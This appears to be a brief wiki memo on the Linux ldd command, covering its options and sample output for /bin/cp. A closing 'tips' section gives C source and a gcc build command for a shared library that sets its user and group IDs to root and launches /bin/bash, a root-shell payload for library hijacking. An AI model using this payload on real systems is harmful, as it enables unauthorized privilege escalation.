Ldd
De Linuxmemo.
Ldd is a Linux command line utility that is used in case a user wants to know the shared library dependencies of an executable or even that of a shared library.
ldd [OPTION]... FILE...
We can use ldd command switches that can be inserted into the [OPTION] spot in the above command:
-v : Print all information. -d : process data relocation. -r : process data and function relocation. -u : print unused direct dependencies.
Exemple:
user@internet:~$ ldd /bin/cp linux-vdso.so.1 (0x00007ffd975b5000) libselinux.so.1 => /lib/x86_64-linux-gnu/libselinux.so.1 (0x00007fd9ab5bc000) libacl.so.1 => /lib/x86_64-linux-gnu/libacl.so.1 (0x00007fd9ab3b4000) libattr.so.1 => /lib/x86_64-linux-gnu/libattr.so.1 (0x00007fd9ab1af000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fd9aadbe000) libpcre.so.3 => /lib/x86_64-linux-gnu/libpcre.so.3 (0x00007fd9aab4c000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fd9aa948000) /lib64/ld-linux-x86-64.so.2 (0x00007fd9aba07000) libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fd9aa729000)
[modifier] Astuces
- compiler un .so "root"
vim libmy.c
#include<stdio.h> #include<stdlib.h> #include<unistd.h> int welcome(){ setuid(0); setgid(0); system("/bin/bash"); }
gcc -shared -o libmy.so -fPIC libmy.c